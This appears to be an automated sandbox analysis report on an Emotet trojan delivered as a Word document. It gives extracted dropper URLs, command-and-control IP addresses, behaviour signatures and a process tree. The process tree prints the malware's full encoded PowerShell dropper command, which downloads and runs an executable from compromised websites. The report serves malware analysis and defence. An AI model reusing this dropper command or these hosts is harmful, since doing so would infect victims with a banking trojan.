Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/09/2020, 13:03

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_547682370b00ef8feb31a7dc3340735e6cd55b455dd7a259f226f094c6faa358_2020-09-03__130129._doc.doc
  • Size 237KB
  • Sample200903-xtradffytx
  • SHA256 547682370b00ef8feb31a7dc3340735e6cd55b455dd7a259f226f094c6faa358
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://theexchangemascot.com/wp-admin/NN/
  • exe.dropper

    http://redhands.studio/wp-admin/SP/
  • exe.dropper

    http://1a-fitness-coach.com/cgi-bin/deg/
  • exe.dropper

    http://personalizzabili.com/imagesff/Ob/
  • exe.dropper

    http://zarahmoden.com/wp-admin/FVQ/
  • exe.dropper

    http://westvac.com/wp-content/se7/
  • exe.dropper

    http://viniciusrangel.com/experimental/sQ/

Extracted

Family

  • emotet

C2

  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 68.69.155.181:80

  • 12.162.84.2:8080

  • 77.55.211.77:8080

  • 104.131.41.185:8080

  • 85.105.140.135:443

  • 51.255.165.160:8080

  • 213.60.96.117:80

  • 45.16.226.117:443

  • 111.67.12.221:8080

  • 190.6.193.152:8080

  • 45.161.242.102:80

  • 190.163.31.26:80

  • 172.104.169.32:8080

  • 185.94.252.12:80

  • 212.174.55.22:443

  • 50.28.51.143:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_547682370b00ef8feb31a7dc3340735e6cd55b455dd7a259f226f094c6faa358_2020-09-03__130129._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1456
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABZAG8AdABiAHAANwBzAD0AKAAnAFIAYgAnACsAJwA3AHIAJwArACgAJwBhACcAKwAnAHAAeQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBTAEUAUgBwAFIAbwBmAGkAbABFAFwAbgAzAHQAeABjAEwAQgBcAEcANgAyADgAXwB1AEEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAdQByAGkAdABZAGAAcAByAG8AVABPAEMAbwBMACIAIAA9ACAAKAAnAHQAJwArACgAJwBsAHMAMQAyACcAKwAnACwAIAB0AGwAcwAnACsAJwAxACcAKQArACgAJwAxACcAKwAnACwAIAAnACkAKwAnAHQAJwArACcAbABzACcAKQA7ACQARgAzAGwAOQA0ADcAZwAgAD0AIAAoACcASgBsACcAKwAoACcAMwByADIAJwArACcAMgBuAHgAJwApACkAOwAkAEkAZQAxAHEAMAA5AHgAPQAoACgAJwBDACcAKwAnAF8AbwBtAGUAJwApACsAJwB1ACcAKwAnAHgAJwApADsAJABZAGsAcwBtAHUAZwA2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAWAAnACsAJwBlADUATgAzAHQAeABjAGwAJwArACcAYgAnACkAKwAnAFgAJwArACcAZQAnACsAKAAnADUAJwArACcARwA2ADIAJwApACsAKAAnADgAXwB1AGEAJwArACcAWAAnACkAKwAnAGUAJwArACcANQAnACkALgAiAHIARQBgAFAATABgAEEAQwBlACIAKAAoAFsAYwBoAGEAUgBdADgAOAArAFsAYwBoAGEAUgBdADEAMAAxACsAWwBjAGgAYQBSAF0ANQAzACkALAAnAFwAJwApACkAKwAkAEYAMwBsADkANAA3AGcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABQADAAYQBxAHUAZwA1AD0AKAAoACcAQQAnACsAJwB0AHkAJwApACsAJwAzAHUAJwArACcAcgBoACcAKQA7ACQATQBtADUAcgBtADkAaQA9AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAQgBjAGwASQBFAE4AVAA7ACQAQwB0ADAAYwBqAG0AbgA9ACgAKAAnAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AdABoACcAKwAnAGUAZQB4AGMAaAAnACkAKwAoACcAYQBuACcAKwAnAGcAJwApACsAJwBlACcAKwAoACcAbQBhAHMAJwArACcAYwBvAHQAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AJwArACgAJwBhAGQAbQBpAG4ALwAnACsAJwBOAE4AJwArACcALwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAcgAnACsAJwBlAGQAJwArACgAJwBoACcAKwAnAGEAJwArACcAbgBkAHMAJwArACcALgAnACsAJwBzAHQAdQBkAGkAbwAvAHcAJwApACsAJwBwACcAKwAoACcALQBhACcAKwAnAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8AJwApACsAKAAnAFMAJwArACcAUAAvACcAKQArACgAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnADEAYQAtAGYAJwArACcAaQAnACkAKwAoACcAdABuAGUAJwArACcAcwAnACkAKwAnAHMAJwArACgAJwAtACcAKwAnAGMAbwBhACcAKQArACgAJwBjACcAKwAnAGgALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AJwArACcAYwBnAGkAJwArACcALQBiAGkAbgAvACcAKwAnAGQAZQAnACkAKwAnAGcALwAnACsAJwAqAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBwAGUAcgAnACkAKwAnAHMAbwAnACsAKAAnAG4AJwArACcAYQBsAGkAegB6AGEAJwApACsAKAAnAGIAaQBsACcAKwAnAGkALgBjACcAKQArACgAJwBvAG0AJwArACcALwBpACcAKQArACcAbQAnACsAKAAnAGEAZwAnACsAJwBlAHMAJwApACsAJwBmAGYAJwArACcALwAnACsAKAAnAE8AJwArACcAYgAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKwAnAHoAYQByAGEAaABtACcAKQArACgAJwBvAGQAZQBuACcAKwAnAC4AJwApACsAKAAnAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtACcAKQArACgAJwBpACcAKwAnAG4ALwBGAFYAUQAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8ALwAnACsAJwB3AGUAJwApACsAKAAnAHMAJwArACcAdAB2ACcAKQArACgAJwBhAGMAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4AdAAnACkAKwAoACcALwAnACsAJwBzAGUANwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAJwAvAC8AJwArACcAdgAnACsAJwBpAG4AaQBjAGkAdQBzACcAKwAnAHIAYQAnACkAKwAnAG4AZwAnACsAKAAnAGUAJwArACcAbAAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAnACsAJwAvAGUAJwApACsAJwB4ACcAKwAnAHAAJwArACgAJwBlAHIAaQBtACcAKwAnAGUAJwApACsAKAAnAG4AdABhAGwAJwArACcALwAnACkAKwAnAHMAUQAnACsAJwAvACcAKQAuACIAcwBgAHAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYADQAZAAzADMAcwAxAD0AKAAoACcARgAnACsAJwB6ADgAcAAnACkAKwAnAGoAbwAnACsAJwBqACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAdQBrAGsAaQBrAG4AIABpAG4AIAAkAEMAdAAwAGMAagBtAG4AKQB7AHQAcgB5AHsAJABNAG0ANQByAG0AOQBpAC4AIgBkAE8AdwBOAGAAbABvAGAAQQBEAEYAaQBgAGwARQAiACgAJABQAHUAawBrAGkAawBuACwAIAAkAFkAawBzAG0AdQBnADYAKQA7ACQARABnAGYAMwBtAGgAegA9ACgAKAAnAEgAJwArACcAdABwACcAKQArACgAJwBwAGoAJwArACcANwAnACkAKwAnAGgAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFkAawBzAG0AdQBnADYAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAzADIAOAAyADAAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAoACQAWQBrAHMAbQB1AGcANgApADsAJABKAHEAbQBxADcAcwBkAD0AKAAnAFgAaAAnACsAKAAnADYAagAnACsAJwBvADkAJwApACsAJwB4ACcAKQA7AGIAcgBlAGEAawA7ACQAWAB5AG4AbQBxADEAMQA9ACgAJwBZACcAKwAnAHIAJwArACgAJwBqAGQAawA2ACcAKwAnAG4AJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAeQA4ADAAOABsAGoAPQAoACcAQgB1ACcAKwAoACcAcQBfADUAJwArACcANwA3ACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Users\Admin\N3txclb\G628_ua\Jl3r22nx.exe
      "C:\Users\Admin\N3txclb\G628_ua\Jl3r22nx.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:684
      • C:\Windows\SysWOW64\KBDBU\umdmxfrm.exe
        "C:\Windows\SysWOW64\KBDBU\umdmxfrm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1148

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/684-17-0x00000000002D0000-0x00000000002DC000-memory.dmp
        Download

        memory/1148-21-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/1440-22-0x000007FEF5A50000-0x000007FEF5CCA000-memory.dmp
        Download

        memory/1456-5-0x000000000AC70000-0x000000000AC74000-memory.dmp
        Download

        memory/1456-6-0x0000000007060000-0x0000000007260000-memory.dmp
        Download

        memory/1456-7-0x0000000007060000-0x0000000007260000-memory.dmp
        Download

        memory/1456-2-0x0000000008C60000-0x0000000008C64000-memory.dmp
        Download

        memory/1912-8-0x000007FEEA620000-0x000007FEEB00C000-memory.dmp
        Download

        memory/1912-14-0x000000001C440000-0x000000001C441000-memory.dmp
        Download

        memory/1912-13-0x000000001C130000-0x000000001C131000-memory.dmp
        Download

        memory/1912-12-0x0000000002410000-0x0000000002411000-memory.dmp
        Download

        memory/1912-11-0x00000000024B0000-0x00000000024B1000-memory.dmp
        Download

        memory/1912-10-0x000000001ACE0000-0x000000001ACE1000-memory.dmp
        Download

        memory/1912-9-0x0000000002000000-0x0000000002001000-memory.dmp
        Download